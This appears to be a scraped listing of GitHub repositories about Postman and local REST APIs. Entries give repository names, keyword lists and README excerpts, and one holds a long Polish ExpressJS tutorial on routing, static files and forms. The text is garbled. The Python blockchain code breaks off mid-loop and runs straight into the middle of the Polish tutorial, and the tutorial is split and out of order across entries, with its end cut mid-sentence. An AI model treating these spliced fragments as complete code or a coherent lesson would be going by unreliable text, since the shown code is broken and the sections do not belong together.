Used * Pivotal Tracker * github * Postman * Heroku ## Version v1.0 ## Authors * **Baker Sentamu** ## iReporter Demo UI Link ## Acknowledgments * Andela Learning Facilitators 0 stars 0 watchers 0 forks
bobkrstic/React_RestAPI
book, books, file, instruction, json, library, local, rating, route, routes, server, store, stored, struct, test, tested 		CRUD with React.js and local JSON-Server. Adding books to the library with titles and ratings. Data is stored on a local json server and routes tested with Postman. Check README file for instructions on how to start the app. 0 stars 0 watchers 0 forks
codeasashu/python-postman-restmocker
application, example, exposes, flask, host, local, mock, mocks, python, rest 		This python exposes a flask application which mocks your postman example on localhost 0 stars 0 watchers 0 forks
deeep911/JAVA-ElasticSearch-SpringBoot
conducted, host, hosted, java, local, locally, search 		Elasticsearch is conducted using SpringBoot in java, hosted locally.Hence, POSTMAN is needed for API usage. 0 stars 0 watchers 0 forks
deeep911/Java-parser-elasticsearch
data, elastic, elasticsearch, host, hosted, local, locally, parse, parser, search, tweets 		Reads data about the tweets using Elasticsearch and SpringBoot, hosted locally hence for API usage postman needs to be used. 0 stars 0 watchers 0 forks
Evilu/Translate-server
example, host, http, local, server, slate 		Start the server, use Postman to translate the word world, for example http://localhost:3000/translate/klingon, enjoy! 0 stars 0 watchers 0 forks
flaviostutz/postman-runner
environment, environments, integration, local, runner, running, script, scripts, test, tests, tool, tools 		Container with tools for running Postman scripts for integration tests on local or CI environments 0 stars 0 watchers 0 forks
Gyanachand1/Blockchain
action, chai, check, class, datetime, dump, endpoint, example, flask, form, function, github, host, html, http, https, import, index, install, installed, json, link, local, method, operation, previous, proof, proxy, query, send, server, server., sets, sort, user 		# Module 1 - Create a Blockchain # To be installed: # Flask==0.12.2: pip install Flask==0.12.2 # Postman HTTP Client: https://www.getpostman.com/ # Importing the libraries import datetime import hashlib import json from flask import Flask, jsonify # Part 1 - Building a Blockchain class Blockchain: def __init__(self): self.chain = [] self.create_block(proof = 1, previous_hash = '0') def create_block(self, proof, previous_hash): block = {'index': len(self.chain) + 1, 'timestamp': str(datetime.datetime.now()), 'proof': proof, 'previous_hash': previous_hash} self.chain.append(block) return block def get_previous_block(self): return self.chain[-1] def proof_of_work(self, previous_proof): new_proof = 1 check_proof = False while check_proof is False: hash_operation = hashlib.sha256(str(new_proof**2 - previous_proof**2).encode()).hexdigest() if hash_operation[:4] == '0000': check_proof = True else: new_proof += 1 return new_proof def hash(self, block): encoded_block = json.dumps(block, sort_keys = True).encode() return hashlib.sha256(encoded_block).hexdigest() def is_chain_valid(self, chain): previous_block = chain[0] block_index = 1 while block_index posiada atrybuty takie jak action oraz method. Atrybut action pozwala określić, gdzie wysłać dane z formularza w momencie, gdy zostanie on zatwierdzony. W naszym przypadku będzie to http://localhost:3000/userform. Atrybut method określa metodę, jakiej chcemy użyć - w naszym przypadku niech będzie to GET. Przykładowo, Twój index.html może wyglądać tak: Node Hello world example First Name: Last Name: Gdy już będzie gotowy, wrzuć go do katalogu /assets. Teraz czas na modyfikację pliku server.js. Najpierw zmieńmy to, co chcemy wysyłać, gdy zostanie wysłane żądanie do strony domowej. Zamień więc res.send('Hello world') na res.sendFile('/index.html') - jak się zapewne domyślasz, res.sendFile() wysyła w odpowiedzi plik zamiast wiadomości. Musimy również dodać obsługę żądania na endpoint, do którego będziemy kierować nasz formularz. app.get('/userform', function (req, res) { const response = { first_name: req.query.first_name, last_name: req.query.last_name }; res.end(JSON.stringify(response)); }); W czasie przetwarzania żądania, tworzymy nowy obiekt response, który ma klucze first_name oraz last_name. Do poszczególnych właściwości przypisujemy dane, które otrzymujemy w obiekcie req (od ang. request), czyli w obiekcie z żądaniem. Na koniec wyświetlamy nasz obiekt przetworzony na typ string za pomocą metody JSON.stringify. Po zapisaniu pliku server.js, aplikacja powinna pokazywać formularz, jak poniżej. Po wpisaniu wartości do inputów i wysłaniu ich, powinieneś zostać przekierowany do strony /userform, a po znaku zapytania powinny zostać wyświetlone parametry umieszczone przez Ciebie w inputach. Zadanie: Żonglujemy danymi pomiędzy endpointami Napisz kod obsługujący formularz zgodnie z wskazówkami z tego submodułu, a następnie wyślij swój kod na repozytorium oraz przekaż go do sprawdzenia mentorowi. Podgląd zadania https://github.com/martinproxy0/Zadanie_17_4.git Wyslij link 17.5. Middleware - pośrednik między żądaniem a odpowiedzią 0 stars 0 watchers 0 forks
HaninMustafa/Mars-Colony-App
intern, internal, local, mobile, object, responsive 		MARS COLONY APP - Web-Based Application: A mobile first responsive layout that uses Angular2 to implement GET and POST HTTP requests with our internal API to save colonist’s info and alien encounter and use localStorage to save colonist object 0 stars 0 watchers 0 forks
Hossam-PHP/PHP-Restful-Api-OOP-
api blueprint, asyncapi, auth, book, docs, file, folder, host, http, import, json schema, local, oauth, openid, search, server, sql, steps, urls 		Project Run steps 1- You have sql file import it . (hossamapi.sql) 2- Put project folder in xampp/htdocs or any local server you want . 3- Go to postman and run this api urls :- 1. READ BOOKS ( Read All ): (Get) http://localhost/api/book/read.php2. CREATE BOOK : (POST) http://localhost/api/book/create.php Data to insert : { "name" : "Amazing keivy 20.0", "isbn" : "4-7555-66777", "author" : "The best pillow for amazing readers.", "category_id" : 2, "publish_date" : "2018-06-01 00:35:07" }3. UPDATE BOOK : (Post) http://localhost/api/book/update.php Data to update : { "id" : "66", "name" : "Amazing keivy 20.0", "isbn" : "4-7555-66777", "author" : "The best pillow for amazing readers.", "category_id" : 2, "publish_date" : "2018-06-01 00:35:07" }4. DELETE BOOK : (Delete) http://localhost/api/book/delete.php Data to delete : { "id" : "66" } ############################## 5. READ ONE BOOK : (Get) http://localhost/api/book/read_one.php?id=60 ############################## 6. SEARCH BOOKS : (Get) http://localhost/api/book/search.php?s=Amazing ############################## 7. PAGINATE BOOKS : (Get) http://localhost/api/book/read_paging.php ############################## 8. READ CATEGORIES : (Get) http://localhost/api/category/read.php 0 stars 0 watchers 0 forks
hwu39/Simple-REST-APIs
action, fundamentals, including, local, machine, test, tested 		This is a simple test to view the fundamentals of RESTful APIs in interaction with MongoDB. The RESTful APIs (including GET, POST, PUT, PATCH, DELETE) can be tested through Postman on a local machine. 0 stars 0 watchers 0 forks
InLove4Coding/GameStoreSpring
host, http, in memory, jdbc, local, memory, popular, test 		Game Store - simple project on popular stack :Spring, h2, lombok, Jpa. Данный проект использует in memory db, так что его можете запустить без дампа бд. Запросы пока через postman, примеры в комментариях кода. По http://localhost:8080/h2/ можете поработать с бд через интерфейс. Для захода jdbcUrl -> jdbc:h2:mem:testdb . Далее о.к (юзер по умолчанию sa, без пароля) 0 stars 0 watchers 0 forks
jeanalgoritimo/parcelamento
data, form, format, host, http, local, studio, visual 		Teste de Avaliação do Jean Silva para a empresa Ctis.Caminho da aplicação do Postman http://localhost:port/api/cadastro/CadastrarDados Padrao do dados a ser enviados { "numeroParcelas": 10, "Datas": "01/01/2018", "valorTotalCredito":10000.00 } O Valor totoal de crédito desse nesse formato acima com ponto antes das duas casas decimais e se o valor for acima de mil reais não colocar pontos.A data deve ser no formato dd//mm/yyyy e número de parcela de forma em inteiro.Programa foi construído no visual studio 2017 0 stars 0 watchers 0 forks
LarryKarani/IreporterReactJs
access, application, auth, check, clone, command, coverage, development, download, endpoint, endpoints, environment, flask, following, framework, github, heroku, http, https, install, lang, language, list, local, location, login, machine, program, programming, pytest, python, report, reporter, require, signup, single, source, stat, status, terminal, test, tested, user, users, version, youtube 		# iReporterApi iReporter is an application whose aim is to reduce corruption in Africa and foster economic development. It allows users to create red flags and interventions. It implents the following list of APIs. ### Framework used The application is built using python: flask framework. >[Flask](http://flask.pocoo.org/) is a microframework for the Python programming language. ### End points Method | Endpoint | Usage | | ---- | ---- | --------------- | |POST| `/api/v2/auth/signup` | Register a user. | |POST| `api/v2/auth/login` | Login user.| |POST| `api/v2/auth/logout` | Logs out a user.| |POST| `api/v2/interventions` | Create a new incident. | |GET| `api/v2/interventions` | Get all the created incidents. | |GET| `api/v2/interventions/user` | Get all incident of the logged in user. | |GET| `api/v2/interventions/` | Get a single incident. | |PATCH| `api/v2/interventions//location` | Update a single incident location. | |PATCH| `api/v2/interventions//comment` | Update a single incident comment. | |PATCH| `api/v2/interventions//status` | Update a single incident status. | |DELETE| `api/v2/interventions/` | Delete a single incident. | ## Installation 🕵 - To run on local machine git clone this project : ``` $ git clone https://github.com/larryTheGeek/iReporterApi.git ``` Copy and paste the above command in your terminal, the project will be downloaded to your local machine. To Install python checkout: ``` https://www.python.org/ ``` - create a virtualenv and make it use python 3 using the following command. ``` $ virtualenv -p python3 env ``` - activate the virtual environment ``` $ source env/bin/activate ``` - Install Requirements ``` $ pip install -r requirements.txt ``` ### Testing - Run Test using pytest with the following command ``` $ py.test --cov=app test` ``` you will get the test coverage report on your terminal The app can also be tested via Postman - Run App ``` $ python run.py ``` The app should be accessiable via : http://127.0.0.1:5000/ open postman and navigate to the API endpoints described above ### HEROKU URL https://ireporter-version2.herokuapp.com/api/v2/ ### Owner - Larry Karani ### Motivation https://www.youtube.com/watch?v=wHRUDL7GKmI 0 stars 0 watchers 0 forks
LucJoostenNL/Programmeren-4-RESTful-API
assignment, data, database, local, route, routes, school, script, server 		In this assignment from school I have been asked to create a RESTful API with several routes. I used Node JS in combination with Javascript to create a local server that provides an API, and it persists through that API data in a local database. 0 stars 0 watchers 0 forks
mark-kumoco/api-gateway-test2
boot, course, endpoint, endpoints, gateway, host, local, mvnw, spring, test 		Simple REST app. Start app with: ./mvnw spring-boot:run or .\mvnw.cmd spring-boot:run Then, browse to localhost:8080. These endpoints are created: /hello, /topics, /topics/{id}. To make a HTTP POST request you can use Postman, of course. 0 stars 0 watchers 0 forks
martinproxy0/Zadanie_17_5
action, address, application, auth, automat, console, data, dependencies, developer, dynamic, ekspresowe, endpoint, error, example, express, file, folder, form, format, framework, function, github, host, html, http, https, index, install, intern, internal, jest, json, kazan, lang, link, list, listen, local, meta, method, middleware, model, module, modules, node, note, package, parse, parser, party, popular, problem, program, proxy, query, rake, require, role, route, routing, send, server, server., sets, source, stat, status, submit, system, test, type, updated, user, wars 		17. ExpressJS - ekspresowe tworzenie aplikacji w NodeJS Wyzwania: Dowiesz się czym jest ExpressJS Nauczysz się korzystać z routingu Poznasz czym są szablony 17.1. Wprowadzenie do Expressa Express jest jednym z najpopularniejszych frameworków dla aplikacji pisanych w Node.js. Jest bardzo lekki i pozwala na lepszą organizację aplikacji w modelu MVC. Ok, zwolnijmy. Już na samym starcie pojawiły się dwa pojęcia, których do tej pory nie omówiliśmy zbyt dokładnie: framework i MVC. Na początku przypomnijmy sobie czym jest framework. Czym są frameworki? Framework to swego rodzaju szkielet, na którym opieramy budowę naszej aplikacji. Jest pewnym poziomem abstrakcji, na której konstruujemy naszą aplikację. Czym jest abstrakcja? Abstrakcja w inżynierii oprogramowania to technika, dzięki której jesteśmy w stanie zapanować nad złożonością systemu. Najzwyczajniej w świecie nie da się myśleć na wielu płaszczyznach na raz, dlatego programiści dzielą problemy na pewne poziomy i to na nich rozwiązują mniejsze problemy. Przykładowo - programista korzystający z Reacta nie martwi się o niższy poziom abstrakcji, z którego nieświadomie korzysta używając Reacta. Korzystając z komputera także nie zastanawiamy się za bardzo co dzieje się w środku procesora czy też w jaki sposób jest skonstruowany. Tym poziomem abstrakcji po prostu nie zawracamy sobie głowy. Używając JavaScriptu nie myślimy w jaki sposób parser analizuje składnię języka. Jeśli nie jest to nam potrzebne, to możemy zająć się tym, co jest dla nas naprawdę istotne - pisaniem aplikacji internetowych! Express to właśnie kolejny, wyższy poziom abstrakcji, dzięki któremu możemy skupić się na właściwym problemie. Zawiera zbiór generycznych (możliwych do zastosowania w wielu miejscach / uniwersalnych) funkcjonalności, które powtarzają się w obrębie każdej aplikacji. Cały zamysł frameworka opiera się na zasadzie - nie wymyślaj koła na nowo, bo można budować na podstawie dobrych, uniwersalnych rozwiązań. Po wykonaniu tego samego zadania wiele razy, człowiek instynktownie szuka sposobu na automatyzację problemu - szczególnie leniwy programista. :) Framework ma niestety jedną wadę, która bywa momentami również zaletą - narzuca programiście sposób w jaki należy rozwiązać problem. Takie podejście z jednej strony nieco nas ogranicza, bo nie pozwala nam 'grzebać' w rozwiązaniu, a z drugiej strony zmniejsza ilość miejsc, w których moglibyśmy popełnić jakiś błąd. Zaletą takiego podejścia jest też to, że programiści korzystający z frameworków często borykają się z podobnymi problemami, przez co łatwo jest znaleźć rozwiązania, bo ktoś już na pewno zetknął się z czymś, co sprawia nam kłopot :) Wracając do Expressa - jest on niewielkim frameworkiem, który daje programiście przyjemną podstawkę do tworzenia aplikacji, ale nie narzuca żadnych praktyk - może o tym świadczyć chociażby fakt, że wiele znanych frameworków opiera swoją budowę na Express. Można do nich zaliczyć przykładowo Loopbacka, Sailsa czy Krakena. Model-View-Controller Ok, wiemy już czym jest framework - pora na pojęcie MVC :) Jest to skrót od ang. Model View Controller (Model Widok Kontroler). Jest jednym z najczęściej przewijających się wzorców architektonicznych w internecie. Popularnością pomału wypiera go architektura Flux, o której coraz częściej słychać (szczególnie w środowisku Reacta), ale o tym wzorcu powiemy sobie jeszcze przy okazji omawiania Reduxa - wróćmy do MVC. Głównym założeniem przyjętym podczas projektowania MVC było oddzielenie warstwy prezentacji od logiki biznesowej aplikacji. To podejście umożliwia tworzenie narzędzi działających bez graficznego interfejsu (zastępuje go wtedy tzw. Command Line Interface, a.k.a. CLI) i jest dalej popularne w środowisku Unixowym. Tak więc: Model jest reprezentacją logiki aplikacji / problemu z jakim się zmagamy / domeną. Widok opisuje w jaki sposób coś wyświetlić. W React są to komponenty (szczególnie te prezentacyjne). Kontroler przyjmuje dane od użytkownika aplikacji i reaguje na jego działania w obrębie widoku. Aktualizuje widok i model aplikacji. O samej architekturze można napisać osobny moduł tym bardziej, że jak już wcześniej wspomnieliśmy bardzo często przewija się on w środowisku front-end developerów i jest częścią składową wielu frameworków. Sama implementacja MVC wymaga wiedzy na temat programowania obiektowego i wzorców projektowych. Zainteresowanych zapraszam do przeczytania tej książki na temat wzorców projektowych stosowanych w JavaScripcie. Express dostarcza wielu funkcjonalności do tworzenia aplikacji webowych. Jak już wspomniałem, ułatwia on przede wszystkim szybki rozwój aplikacji opartych na Node.js. Podstawowymi cechami tego frameworka są: serwowanie plików statycznych za pomocą jednej komendy konfigurowanie middleware, czyli pośrednika między żądaniem a odpowiedzią w momencie, kiedy użytkownik wykonuje jakieś akcje, np. wysyła formularz, middleware może wykonać pewne czynności zanim dane zostaną zapisane. Nie sprowadza się to oczywiście tylko do zapisu danych, ale szerzej na temat tego zagadnienia powiemy sobie w dalszym rozdziale definiowanie tablicy routingu, czyli ścieżek (adresów), które wyświetlają odpowiednie treści, przyjmują i zapisują dane, bądź odpytane o dane zwracają je. Bazują na protokole HTTP oraz URI (ang. Uniform Resource Identifier) pozwala na dynamiczne tworzenie stron HTML bazujących na argumentach przekazanych do istniejących szablonów Nie przejmuj się, jeśli powyższe opisy wydają się być nieco zagmatwane. Kolejne rozdziały rozjaśnią sprawę! Zanim jednak przejdziemy do omawiania poszczególnych funkcjonalności Expressa, przeprowadzimy proces instalacji. Jeśli masz wątpliwości do powyższego materiału, to - zanim zatwierdzisz - zapytaj na czacie :) Zapoznałe(a)m się! 17.2. Instalacja ExpressJS Framework Express instalujemy używając npm, analogicznie do innych pakietów, które dodawaliśmy już we wcześniejszych modułach. Dla przypomnienia, wystarczy, że zainicjujesz swój projekt - npm init, a następnie użyjesz komendy npm install express --save, która zapisze zainstalowany pakiet w katalogu node_modules/ i doda go do sekcji dependencies w pliku package.json. Razem z Expressem należy zainstalować jeszcze jeden ważny moduł - body-parser, który jest pakietem pozwalającym na obsługę różnych formatów danych w middleware takich jak JSON, text czy tzw. surowe dane (ang. raw data). Aby go zainstalować, wpisz npm install body-parser --save. Pierwsza aplikacja w ExpressJS Sprawdźmy teraz, czy wszystko działa tak jak powinno. Testowa aplikacja, jaką stworzymy przy użyciu Expressa, będzie przedstawiała podstawową zasadę działania tego frameworka. Aplikacja uruchomi serwer oraz będzie nasłuchiwać na porcie 3000 w oczekiwaniu na połączenie - dokładnie w taki sam sposób, jak w przypadku serwera HTTP napisanego w “czystym" Node.js. Nasłuchiwanie oznacza nic innego jak oczekiwanie na połączenie - po wystąpieniu żądania, serwer odpowie nam klasycznym “Hello world". Zanim zaczniemy tworzyć aplikację, musimy wytłumaczyć sobie pewne pojęcia. Opis pojęcia routingu Routing to sposób określania jak aplikacja będzie odpowiadać na żądania klienta na dane endpointy przy użyciu konkretnych metod HTTP. Przypomnijmy sobie w jaki sposób wyglądały metody HTTP: GET - najprostsza z metod HTTP - służy do pobierania zasobów z serwera. Pobranymi zasobami mogą być np. pliki HTML, CSS, JavaScript czy obiekty JSON / XML. POST - ta metoda jest używana do wysyłania danych do serwera. Stosuje się ją np. przy formularzach lub przy wstawianiu zdjęć i wysyłaniu ich jako załącznik. Zwykle dane te wysyłane są jako para klucz-wartość. PUT - działa podobnie jak POST, czyli również służy do wysyłania danych. Różnicą jest ograniczenie do wysłania tylko jednej porcji danych - np. jednego pola. Metoda ta najczęściej używana jest do aktualizacji istniejących danych DELETE - metoda, która służy do usuwania danych z serwera. Chodzi oczywiście o dane, które zostały wskazane przy wysyłaniu żądania. Kolejnym pojęciem jest URI (nazywane również PATH) - jest to właśnie wspomniany wcześniej endpoint, który zawiera polecenia do wykonania gdy zostanie wywołany przez żądanie. Czas start! Na początek stwórzmy plik server.js w katalogu z projektem. Po zainstalowaniu powyższych zależności, drzewo projektu powinno wyglądać w następujący sposób: Aby mieć możliwość skorzystania z zainstalowanych zależności, na początku należy zadeklarować zmienną, w której będziemy przechowywać funkcjonalności pakietu Expressa. var express = require('express'); Jak widzisz, każda paczka JS'a działa dokładnie w taki sam sposób. Koncepcja modułów będzie przewijać się aż do końca tego kursu. Następnym krokiem będzie stworzenie aplikacji Express: var app = express(); Naszą aplikację przypisaliśmy do zmiennej app. Teraz możemy sprawić, aby odpowiadała prostym Hello world w momencie, w którym odbierzemy wysłane zapytanie GET na adres strony domowej: app.get('/', function(req, res) { res.send('Hello world'); }); Powyższy kod rejestruje pierwszy routing (proces przetwarzania otrzymanego adresu żądania i na jego podstawie decydowanie, co powinno zostać uruchomione) na wysłane żądanie GET po wejściu na stronę główną ( http://localhost:3000/ ). Jako callback na wystąpienie tego zdarzenia wywoływana jest funkcja, która w przypadku udanej odpowiedzi wyśle wiadomość Hello world. To jednak jeszcze nie koniec. Zarejestrowaliśmy obsługę pierwszego routingu, ale należy zainicjować nasłuchiwanie serwera na to i inne zdarzenia. Dopiszmy więc: var server = app.listen(3000, function() { console.log('Przykładowa aplikacja nasłuchuje na http://localhost:3000'); }); Po zapisaniu powyższego kodu, należy uruchomić go komendą node server.js (lub za pomocą Nodemona, którego poznaliśmy w pierwszym module) - teraz po ponownym wejściu na adres http://localhost:3000/ powinniśmy zobaczyć następujący widok: Jest to znak, że nasza aplikacja działa! Jeśli masz wątpliwości do powyższego materiału, to - zanim zatwierdzisz - zapytaj na czacie :) Zapoznałe(a)m się! 17.3. Route, czyli ścieżka wyznaczona dla użytkownika aplikacji Wykorzystanie endpointów Rozwińmy teraz trochę aplikację stworzoną w poprzednim podrozdziale. Aktualnie kod w pliku server.js wygląda następująco: var express = require('express'); var app = express(); app.get('/', function (req, res) { res.send('Hello world'); }); var server = app.listen(3000, function() { console.log('Przykładowa aplikacja nasłuchuje na http://localhost:3000'); }); Endpointy statyczne Na początek zmodyfikujemy lekko żądanie GET i do strony głównej zamiast Hello world! wpiszmy Hello GET! oraz dodamy linijkę drukującą otrzymane żądanie (po stronie serwera) jak poniżej: app.get('/', function (req, res) { console.log('Otrzymałem żądanie GET do strony głównej'); res.send('Hello GET!'); }); Warto w tym miejscu wspomnieć o narzędziu Postman - możesz pobrać je ze strony https://www.getpostman.com/. Używa się go do testowania endpointów. Postman jest prosty i intuicyjny w obsłudze - wystarczy, że podasz adres oraz metodę HTTP, jakiej chcesz użyć w odpowiednich polach i… już :) Pozostaje tylko wysłanie requesta i sprawdzenie czy response zgadza się z naszymi oczekiwaniami. Dodajmy też inne metody HTTP do naszej aplikacji. Zacznijmy od POST. Dla tej i kolejnej metody wykonamy podobne operacje. Chodzi tutaj o to, aby zaobserwować działanie zarejestrowanych endpointów. app.post('/', function (req, res) { console.log('Otrzymałem żądanie POST do strony głównej'); res.send('Hello POST!'); }); Do tego czasu oba nasze zapytania kierowaliśmy do strony domowej. Dodajmy teraz obsługę żądania z metodą DELETE oraz inną ścieżką: app.delete('/del_user', function (req, res) { console.log('Otrzymałem żądanie DELETE do strony /del_user'); res.send('Hello DELETE!'); }); DLA CHĘTNYCH: Przetestuj powyższe zapytanie w Postmanie! :) Dla praktyki, dodajmy jeszcze kilka innych endpointów, a następnie przejdźmy do testowania. app.get('/list_user', function (req, res) { console.log('Otrzymałem żądanie GET do strony /list_user'); res.send('Strona z listą użytkowników!'); }); app.get('/ab*cd', function(req, res) { console.log('Otrzymałem żądanie GET do strony /ab*cd'); res.send('Wzór pasuje'); }); Po dodaniu powyższych fragmentów kodu zapisz plik server.js, a następnie ponownie użyj komendy node server.js chyba, że używasz Nodemona :) Zerknijmy na endpoint /list_user Otrzymaliśmy to, czego oczekiwaliśmy. Sprawdźmy jeszcze inne. Jeśli jednak użyliśmy endpointa, którego nie zdefiniowaliśmy, otrzymamy odpowiedź jak na ostatnim obrazku. Endpointy dynamiczne Istnieje również inny typ endpointów, które nazywa się dynamicznymi. Używanie ich pozwala na przekazywanie parametrów i bazowanie na nich. Wróćmy na moment do kodu stworzonego na samym początku: var express = require('express'); var app = express(); app.get('/', function (req, res) { res.send('Hello world'); }); var server = app.listen(3000, function() { console.log('Przykładowa aplikacja nasłuchuje na http://localhost:3000'); }); Najpierw zmodyfikujemy trochę bazowy kod. Usuńmy linijki 8-10, które miały nam tylko pokazać podstawowe informacje na temat serwera. Zamiast tego napiszmy po prostu: app.listen(3000); Tworzenie dynamicznego routingu pozwala na przekazywanie parametrów, więc spróbujmy najpierw z przykładowym id. Zamiast odwołać się do strony domowej ('/'), odwołajmy się do zmiennego parametru id. Parametr zmienny od statycznego rozróżnia się poprzez dodanie dwukropka (:) przed nazwę. W naszym przykładzie endpoint będzie więc wyglądał następująco: /:id Zmieńmy jeszcze odpowiedź z Hello world na 'Identyfikator, który został dopisany to ' + req.params.id. Czym jest req.params.id? req jest obiektem reprezentującym zapytanie HTTP (ang. request). Posiada on różne parametry, jak na przykład body (czyli ciało zapytania), nagłówki HTTP oraz parametry (params), które mamy zamiar odczytać. Parametr, który wstawiliśmy jako część adresu w metodzie GET, przekazujemy jako id. W poniższym przypadku wyświetli się komunikat Identyfikator który został dopisany to 123, o ile zapytanie wysłano na adres http://localhost:3000/123. Popróbuj z różnymi innymi parametrami i sprawdź czy aplikacja działa tak, jak tego oczekujesz. Obsługa błędu 404 za pomocą ExpressJS Co jeśli serwer nie rozpozna żądania? W Expressie odpowiedź 404 nie jest wynikiem błędu, więc nie jest wyłapywany w trakcie działania aplikacji. Spowodowane jest to tym, że 404 zwykle oznacza brak możliwości wykonania danej czynności, a nie błąd występujący z powodu jakiejś 'wpadki' programisty. Innymi słowy, Express wykonał wszystkie funkcje middleware (które poznamy w kolejnym rozdziale) oraz route'y i dopiero wtedy dowiedział się, że żaden z nich nie odpowiedział na żądanie - taki przypadek możemy obsłużyć poprzez dodanie funkcji middleware na samym końcu (poniżej pozostałych funkcji), aby obsługiwała status 404. Powróćmy znów do poprzedniego szablonu z metodą GET na stronę domową ('/'), która zwraca nam Hello world!. Dopiszmy teraz metodę middleware, która obsłuży nam błąd 404. Na samym końcu, poniżej fragmentu z nasłuchiwaniem dodajmy obsługę odpowiedzi 404: app.use(function (req, res, next) { res.status(404).send('Wybacz, nie mogliśmy odnaleźć tego, czego żądasz!') }); Po ponownym uruchomieniu skryptu, w przeglądarce powinieneś zobaczyć Hello world!. Spróbuj teraz dopisać coś na koniec adresu (tak jak w poprzednim rozdziale dopisaliśmy id). Powinieneś otrzymać następujący komunikat: Parametr next, który przekazujemy do funkcji jest funkcją, która pozwala “iść dalej" do kolejnej funkcji middleware lub zakończenia żądania. Można w ten sposób stworzyć także obsługę pozostałych błędów. Najczęściej obsługiwane błędy to: 400 - bad request - występuje gdy serwer nie może przetworzyć zapytania 401 - unauthorized - występuje gdy wymagane jest uwierzytelnienie, a nie zostało dostarczone 403 - forbidden - żądanie jest poprawne, jednak serwer odmawia odpowiedzi, może to wystąpić w przypadku gdy np. użytkownik jest zalogowany ale nie ma uprawnień do wykonania żądania 404 - not found - zasoby nie zostały znalezione 500 - internal server error - występuje gdy występują nieznane warunki i nie ma żadnej konkretnej wiadomości Zadanie: Operacje CRUD na pliku JSON Stwórzmy teraz aplikację, która będzie otwierać zewnętrzne pliki .json oraz edytować je. Zanim zaczniemy, w folderze projektu stwórz plik server.js, a następnie zainicjalizuj projekt poprzez wpisanie npm init w konsoli. Przejdźmy do pobrania potrzebnych zależności - tym razem będzie nam potrzebny Express oraz body-parser. Jak się zapewne domyślasz, możesz zainstalować je za pomocą komendy npm install --save express body-parser. Po pobraniu paczek, możemy śmiało przejść do pisania kodu - na początek przypisz zależności do zmiennych w pliku server.js. Dodaj także linijkę var fs = require('fs') - fs będzie nam potrzebny do operacji na plikach. Nie musimy go instalować, bo jest on wbudowany w Node :) Skoro zależności mamy już załatwione, zadeklaruj zmienną app, która wywoła funkcję express() oraz zmienną stringifyFile (na razie bez zadeklarowanej wartości). Tuż pod deklaracją zmiennych dodaj także linijkę app.use(bodyParser.json()); - to pozwoli Ci wykorzystać middleware body-parser, które zainstalowaliśmy przed chwilą. body-parser jest nam potrzebny, aby korzystać z formatu application/json - póki co nie przejmuj się pojęciem middleware, zajmiemy się nim nieco dalej w tym kursie :) Stwórz teraz endpoint GET /getNote, gdzie po wywołaniu zostanie wczytany Twój zewnętrzny plik JSON oraz wyświetlona zostanie jego zawartość. Przykłądowy plik test.json: {"menu": { "id": "file", "value": "File", "popup": { "menuitem": [ {"value": "New", "onclick": "CreateNewDoc()"}, {"value": "Open", "onclick": "OpenDoc()"}, {"value": "Close", "onclick": "CloseDoc()"} ] } }} Metoda która pozwoli nam na odczytanie pliku to readFile, którą można wywołać z zadeklarowanego wcześniej fs. Jako parametry przyjmuje ona najpierw plik, następnie opcje (np. kodowanie) i funkcję, która wywoła się po załadowaniu. W naszym przypadku będzie to więc następujący kod: fs.readFile('./test.json', 'utf8', function(err, data) { if (err) throw err; stringifyFile = data res.send(data); }); Teraz pora na stworzenie endpointa, który po wywołaniu nadpisze nam podany plik. Stworzymy do tego dynamiczny endpoint, który dopisze do pliku string, który przekażemy jako parametr. Stwórz tym razem POST na /updateNote/:note. Po jego wywołaniu tekst, który znajduje się w miejscu /:note powinniśmy dopisać do wczytanego pliku poprzez dodanie req.params.note do zmiennej stringifyFile, która przechowuje aktualną zawartość pliku. Po przypisaniu powyższej zmiennej, należy ponownie odwołać się do modułu fs tym razem używając metody writeFile. Pomoże nam w tym następujący fragment kodu: fs.writeFile('./test.json', stringifyFile, function(err) { If (err) throw err; console.log('file updated'); }); Na końcu pliku dodaj nasłuchiwanie na porcie 3000. Zapisz plik i uruchom aplikację wpisując node server.js w konsoli. Otwórz Postmana, ustaw metodę zapytania na GET, a w pole adresu wpisz http://localhost:3000/getNote. Jako response powinieneś otrzymać Twój stworzony wcześniej plik JSON. Po zmianie z GET na POST oraz wpisaniu /updateNote/test zamiast /getNote oraz wysłaniu requesta, Twój plik JSON powinien zostać zaktualizowany o słowo test :) Po ukończeniu zadania, wrzuć swój kod na Githuba i przekaż link do repozytorium mentorowi :) Podgląd zadania https://github.com/martinproxy0/Zadanie_17_3.git Wyslij link 17.4. Serwowanie plików statycznych Express posiada wbudowaną możliwość serwowania plików statycznych - takimi plikami są na przykład obrazki, pliki CSS czy JS. Aby serwować te pliki statycznie, wystarczy użyć express.static. Pliki statyczne to pliki, które zostają dostarczone do klienta bez generowania, modyfikacji czy przetwarzania - jedyne, co trzeba z nimi zrobić, to przekazać nazwę katalogu, w którym są przetrzymywane, do express.static - to wystarczy aby zacząć je serwować. Spróbujmy przedstawić to sobie na przykładzie. Załóżmy, że przetrzymujesz swoje zdjęcia i pliki CSS w katalogu assets/. Aby zacząć je serwować, możesz więc użyć następującej linijki: app.use(express.static('assets')); Zmodyfikujmy więc całkowicie naszą aplikację. Najpierw stwórzmy w katalogu projektu nowy katalog o nazwie assets/. Wrzućmy do niego jakiekolwiek zdjęcie/obrazek. W pliku server.js wróćmy do poprzedniego stanu (zanim zaczęliśmy zajmować się routingiem): var express = require('express'); var app = express(); app.get('/', function (req, res) { res.send('Hello world'); }); var server = app.listen(3000, 'localhost', function() { var host = server.address().address; var port = server.address().port; console.log('Przykładowa aplikacja nasłuchuje na http://' + host + ':' + port); }); W tym przykładzie sami definiujemy port i adres, ale w prawdziwej aplikacji moglibyśmy tych wartości nie znać. Częstym przykładem jest sytuacja w której adres i port są zdefiniowane w osobnym pliku konfiguracyjnym. Ten plik byłby inny na naszym komputerze niż na serwerze na którym będziemy publikować aplikację - ale nasz kod ma działać w obu lokalizacjach. Dlatego do wyświetlenia linka potrzebowalibyśmy pobrania tych danych za pomocą metody .address(). Pozostaje teraz jedynie w linii nr 3 dodać to, o czym powiedzieliśmy sobie chwilkę temu, czyli linijkę app.use(express.static('assets')); Dla przypomnienia, w nawiasach do express.static przekazujemy katalog, w którym znajdują się pliki, które chcemy serwować. Po zapisaniu pliku server.js, możemy uruchomić aplikację. Teraz, aby zobaczyć nasz obrazek, wystarczy że po http://localhost:3000/ podamy nazwę pliku z rozszerzeniem - u mnie wygląda to tak: Stwórz sobie teraz prosty plik index.html, który będzie miał formularz z dwoma inputami typu text (o nazwach first_name i last_name) oraz jednym typu submit. Element
